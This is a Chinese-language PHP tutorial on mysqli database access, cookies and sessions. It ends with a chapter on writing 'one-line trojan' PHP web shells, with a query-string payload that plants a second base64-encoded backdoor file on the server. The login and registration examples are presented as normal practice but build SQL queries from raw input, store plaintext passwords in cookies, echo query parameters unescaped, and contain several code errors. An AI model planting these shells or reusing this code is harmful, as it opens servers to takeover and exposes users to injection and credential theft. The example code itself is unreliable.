PHP與Mysql之間的糾纏(超詳細)
第一章 PHP操作mysql資料庫
在正式開始學習前,我們需要開啟mysqli擴展,使用phpinof()你可以看到如下展示就說明開啟成功:
若沒有看到mysqli擴展在windows伺服器下,打開php.ini文件,將php_mysqli.dll打開即可。
注意:
從PHP7開始默認不再支援mysql擴展,即不再支援mysql_*系列函數。請使用mysqli連接資料庫。
mysqli即支援php5也支援php7。
創建表結構:
CREATE TABLE IF NOT EXISTS users (
id INT(10) NOT NULL,
username varchar(30),
password varchar(30),
createtime date not null,
createip binary(16)
);
index.html程式碼
<form action="connect.php" method="post">
用戶名:<input type="text" name="username"><br />
密碼:<input type="password" name="password"><br />
重複密碼:<input type="password" name="repassword"><br />
<input type="submit" value="提交">
</form>
connect.php程式碼如下:
<?php
if (trim($_POST['password']) != trim($_POST['repassword'])) {
exit('兩次密碼不一致,請返回上一頁');
}
$username = trim($_POST['username']);
$password = md5(trim($_POST['password']));
$time = time();
$ip = $_SERVER['REMOTE_ADDR'];
$conn = mysqli_connect('localhost', 'root', 'root');
//如果有錯誤,存在錯誤號
if (mysqli_errno($conn)) {
echo mysqli_error($conn);
exit;
}
mysqli_select_db($conn, 'book');
mysqli_set_charset($conn, 'utf8');
$sql = "insert into user(username,password,createtime,createip) values('" . $username . "','" . $password . "','" . $time . "','" . $ip . "')";
$result = mysqli_query($conn, $sql);
if ($result) {
echo '成功';
} else {
echo '失敗';
}
echo '當前用戶插入的ID為' . mysqli_insert_id($conn);
mysqli_close($conn);
?>
list.php程式碼如下:
<?php
$conn = mysqli_connect('localhost', 'root', 'root', 'book');
if (mysqli_errno($conn)) {
mysqli_error($conn);
exit;
}
mysqli_set_charset($conn, 'utf8');
$sql = "select id,username,createtime,createip from user order by id desc";
//進行降序排序
$result = mysqli_query($conn, $sql);
if ($result && mysqli_num_rows($result)) {
//查詢出來的行數可以使用mysqli_num_rows。這個函數要求傳入$result查詢的結果變數。
如果有結果則顯示列表,如果沒有結果我們產生一句提示即可。
echo '<table width="800" border="1">';
while ($row = mysqli_fetch_assoc($result)) {
//使用到的函數是mysqli_fetch_assoc,返回的會是一個關聯數組。
這個函數讀取一個結果集,會向後移動一次。讀取到最後沒有結果的時候會返回bool值的false。因此,我們選擇while來配合mysqli_fetch_assoc。
每次循環的結果賦值給$row,$row中是關聯數組。因此我在這次循環中,可以將行和列都顯示出來。
echo '<tr>';
echo '<td>' . $row['username'] . '</td>';
echo '<td>' . date('Y-m-d H:i:s', $row['createtime']) . '</td>';
echo '<td>' . long2ip($row['createip']) . '</td>';
echo '<td><a href="edit.php?id=' . $row['id'] . '">編輯用戶</a></td>';
echo '<td><a href="delete.php?id=' . $row['id'] . '">刪除用戶</a></td>';
echo '</tr>';
}
echo '</table>';
} else {
echo '沒有數據';
}
mysqli_close($conn);
?>
第二章 PHP 會話管理和控制
我們知道Cookie是通過將數據保存在客戶端來實現與服務端保持連接的,而Session是通過將數據保存在伺服器端來實現保持連接的。我們通過一個例子來了解session的機制。
我們去飲料店買飲料,下單以後服務員會給我們一個號碼牌,然後你走到一旁,服務員並不認識你是誰,如果你想拿到你的飲料,你必須提供你的號碼牌給服務員才可以,服務員通過號碼牌來查記錄,來確認你是顧客,確認你點了什麼飲料,然後才會把你點的飲料給你。
了解了session原理,再回到Web技術中,我們有2種方法讓客戶端拿到「號碼牌」,一種是通過cookie,一種是通過把值嵌入網頁傳給客戶端。我們也有2種方法來讓客戶端把號碼牌傳給伺服器來拿屬於自己的資料,一種是cookie,一種是標準的Query String/POST。
而我們常用的是cookie,因為現在的瀏覽器都支援cookie,默認也都開啟。客戶端與服務端彼此都會將cookie發送給對方。來個過程說明一下:打開瀏覽器輸入 www.taobao.com 並回車,由於是第一次與這個網站建立連接,服務端還沒有設置過cookie(這裡假設當前瀏覽器是第一次訪問這個網址,之前這個網址沒有向當前客戶端寫過cookie),所以沒有cookie發送到服務端,服務端在處理完數據返回的時候,會將一個name為sessionid,value為一連串N位字元的cookie發送給客戶端,後續客戶端再次訪問服務端的時候,也會帶上這個cookie來訪問服務端。於是,他們就這樣通過sessionid互相「認識」了。
我們之前拿開會的例子講了一個小例子:
在幾十年前人們開會的時候,都需要帶上一個參會證。這個參會證上有這個人的職務、姓名、單位、照片等資訊。在開會的時候,會議安保人員、組織者只需要檢查相關資訊就行了。
這個小例子主要說明一點,人們自己帶著自己的參會證,帶著自己的資訊。這種模式就是cookie。而電腦將這段cookie資訊存在了電腦的硬碟里。
Cookie存在哪兒? Cookie的本質是一小段數據,一小段存儲在你電腦硬碟中的數據。可是它存在哪裡呢?來,我們找一下。
Chrome瀏覽器的Cookie文件的存放路徑是:
C:\Users\你的用戶名\AppData\Local\Google\Chrome\User Data\Default\Cookies
Firefox瀏覽器的Cookies文件存放路徑是:
C:\Users\你的用戶名\AppData\Roaming\Mozilla\Firefox\Profiles\rdgp36vl.default\cookies.sqlite 每個人可能略有不同
用文本編輯器直接打開Cookies文件看到的是亂碼,我們得用工具查看,如下圖:
我們來看一下需要關注的幾個列,Domain代表的是cookies所屬的網站,Name代表的是這個Cookie的名字,Value代表的是Cookie的值,Expires代表的是這個Cookie的有效期。
用一個我們熟悉的網站舉例,tudou.com,圖上我們可以看到有4個關於 tudou.com 的Cookie,那麼當我們訪問 tudou.com的時候,瀏覽器會自動把這4個Cookie的 Name 和 Value 發送到 tudou.com 這個網址所指向的伺服器(PS:必須在有效期內,超出有效期的話是不會被發送到伺服器的,有效期我們可以依據需求來定),如此一來,伺服器就可以根據這些資訊來保持與客戶端的連接了,通俗點,就是可以通過這些數據來知道你就是你。當伺服器收到這些Cookies後,會根據他們的值來做一些處理,做什麼處理?這就取決於開發人員想根據這些資訊來幹嘛了!
一、php 會話控制 之 PHP中的Cookie
通過一個用戶首次登陸網站後,再次訪問不需要重複輸入用戶名和密碼的例子來學習Cookie。
首先介紹一下php中設置cookie的方法。
php中提供了一個函數來讓我們設置cookie,這個函數是:
bool setcookie (
string $名字
[, string $值]
[, int $過期時間 = 0]
[, string $路徑]
[, string $域名]
[, bool $安全 = false]
[, bool $http只讀 = false]
);
參數 描述
$名字 必需。規定 cookie 的名稱。
$值 可選。規定 cookie 的值。
$有效期 可選。規定 cookie 的有效期。
$路徑 可選。規定 cookie 的伺服器路徑。
$域名 可選。規定 cookie 的域名。
$安全 可選。規定是否通過安全的 HTTPS 連接來傳輸 cookie。
$http安讀 可選。如果true,那麼js就無法讀取改cookie,增加安全性。
一般來說,我們其實用不到上面那麼多參數,對於這個函數,我們一般這麼用: setcookie(cookie名,cookie值,cookie有效期);
沒錯,就那麼3個。如此一來,我們就可以在服務端通過$_COOKIE[‘name’] 來讀取cookie了。
以下是示例:
我們將文件名命名為:cookie.php。
我們來模擬我們在互聯網上見到最常見的例子:輸入用戶名和密碼,登陸成功的過程。
我們來建一個資料庫login,其中有表user,有username和password這兩個欄位。
<?php
//第一次登陸的時候,通過用戶輸入的資訊來確認用戶
if ( ( $_POST['username'] != null ) && ( $_POST['password'] != null ) ) {
$userName = $_POST['username'];
$password = $_POST['password'];
//從db獲取用戶資訊
//PS:資料庫連接資訊改成自己的 分別為主機 資料庫用戶名 密碼
$conn = mysqli_connect('localhost','root','123456');
mysqli_select_db($conn,'test');
$sql = "select * from user where `username` = '$userName' ";
$res = mysqli_query($conn,$sql);
$row = mysqli_fetch_assoc($res);
if ($row['password'] == $password) {
//密碼驗證通過,設置cookies,把用戶名和密碼保存在客戶端
setcookie('username',$userName,time()+60*60*24*30);//設置時效一個月,一個月後這個cookie失效
setcookie('password',$password,time()+60*60*24*30);
//最後跳轉到登錄後的歡迎頁面
header('Location: welcome.php' . "?username=$userName");
}
}
//再次訪問的時候通過cookie來識別用戶
if ( ($_COOKIE['username'] != null) && ($_COOKIE['password'] != null) ) {
$userName = $_COOKIE['username'];
$password = $_COOKIE['password'];
//從db獲取用戶資訊
//PS:資料庫連接資訊改成自己的 分別為主機 資料庫用戶名 密碼
$conn = mysqli_connect('localhost','root','123456','test');
$res = mysqli_query($conn,"select * from user where `username` = '$userName' ");
$row = mysqli_fetch_assoc($res);
if ($row['password'] == $password) {
//驗證通過後跳轉到登錄後的歡迎頁面
header('Location: welcome.php' . "?username=$userName");
}
}
?>
<html>
<head>
</head>
<body>
<form action="" method="POST">
<div>
用戶名:<input type="text" name="username" />
密 碼:<input type="text" name="password" />
<input type="submit" value="登錄">
</div>
</form>
</body>
</html>
跳轉到的welcome.php程式碼
<?php
$user = $_GET['username'];
?>
<html>
<head>
</head>
<body>
welcome,<?php echo $user;?>
</body>
</html>
這樣,當我第一次訪問cookie.php的時候,我需要輸入用戶名和密碼,輸入完畢後跳轉到了welcome.php。然後我關閉瀏覽器,再次打開cookie.php,這次沒有要求我輸入用戶資訊,而是直接跳轉到了welcome.php,因為之前我們存的cookie資訊被瀏覽器自動發送到了服務端,服務端做完處理直接跳轉到了welcome.php,伺服器認識我們了!知道我是之前那個登陸過的用戶,這樣我們就通過cookie技術讓無狀態的HTTP協議保持了狀態。
照著這個做一遍,我相信你會用cookie了。
二、php 會話控制 之 PHP中的session
1.開啟session
首先我們要開啟session,那麼第一個要學習的函數就是bool session_start()了,這個函數沒有參數。在php文件的開始使用
session_start();
就可以啟用新會話或者重用現有會話了。
2.添加session數據
開啟會話之後,那麼在接下來的處理中,我們就可以使用$_SESSION變數來存取資訊了。我們要知道的是$_SESSION變數是個數組。當我們要把資訊存入session的時候應該這麼寫:
$_SESSION['userName'] = 'wang';
3.讀取session數據
讀取很簡單,就像我們使用數組一樣,如下:
$userName = $_SESSION[‘userName’];
當然也可以 $_SESSION[‘userName’] 來用。和數組一樣的使用。
4.銷毀session數據
我們可以使用很多種方式來銷毀session數據。
a) unset函數
我們通過使用類似
unset($_SESSION['XXX']);
來銷毀session中的 XXX 變數。PS:請不要!請不要!請不要unset($_SESSION),會導致後續無法使用$_SESSION這個變數!!!
b) 空數組賦值給session變數
$_SESSION = array();
之前我們說過$_SESSOIN變數是個數組,那麼空數組賦值的話也是相當於將當前會話的$_SESSION變數中的值銷毀。
c) session_destory() 函數
這個函數會銷毀當前會話中的全部數據,並結束當前會話。但是不會重置當前會話所關聯的全局變數, 也不會重置會話 cookie。
5.session的擴展:默認session存儲在哪裡。
在php.ini配置文件中有這麼一行 session.save_handler = files,
files,說明了php默認的是用文件讀寫的方式來保存session的。那麼在哪個目錄呢?繼續看。session.save_path = “/tmp”,這一行前面有個 ; ,說明是被注釋的,不過即便這樣,php默認的session 也是保存在這裡的,/tmp目錄。
6.SESSION登錄實例:
login.php文件
<?php
session_start();
if ( ( $_POST['username'] != null ) && ( $_POST['password'] != null ) ) {
$userName = $_POST['username'];
$password = $_POST['password'];
//從db獲取用戶資訊 資料庫資訊改成自己的
$conn = mysqli_connect('host','username','password','login');
mysqli_select_db($conn,'oldboy');
$res = mysqli_query($conn,"select * from user where `username` = '$username' ");
$row = mysqli_fetch_assoc($res);
if ($row['password'] == $password) {
//密碼驗證通過,設置session,把用戶名和密碼保存在服務端
$_SESSION['username'] = $username;
$_SESSION['password'] = $password;
//最後跳轉到登錄後的歡迎頁面 //注意:這裡我們沒有像cookie一樣帶參數過去
header('Location: welcome.php');
}
?>
<html>
<head>
<!-- 這裡指明頁面編碼 -->
<meta charset="utf-8">
</head>
<body>
<form action="" method="POST">
<div>
用戶名:<input type="text" name="username" />
密 碼:<input type="text" name="password" />
<input type="submit" value="登錄">
</div>
</form>
</body>
</html>
welcome.php 這裡我們用的是session中的資訊,而不是像cookie一樣在url中帶參數過來
<?php
session_start();
$username = $_SESSION['username'];
?>
<html>
<head>
</head>
<body>
welcome,<?php echo $username;?>
</body>
</html>
第三章 PHP 項目
編寫一句話木馬
案例1:
<?php
$a = $_REQUEST['a'];
$b = null;
eval($b.$a);
?>
利用方法:
//localhost:63342/WWW/yiju.php?_ijt=31jik4g1bmmhfla9nfdidrfc28&a=phpinfo();
//localhost:63342/WWW/yiju.php?_ijt=31jik4g1bmmhfla9nfdidrfc28&a=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
案例2:
<?php @eval($_POST['1']);?>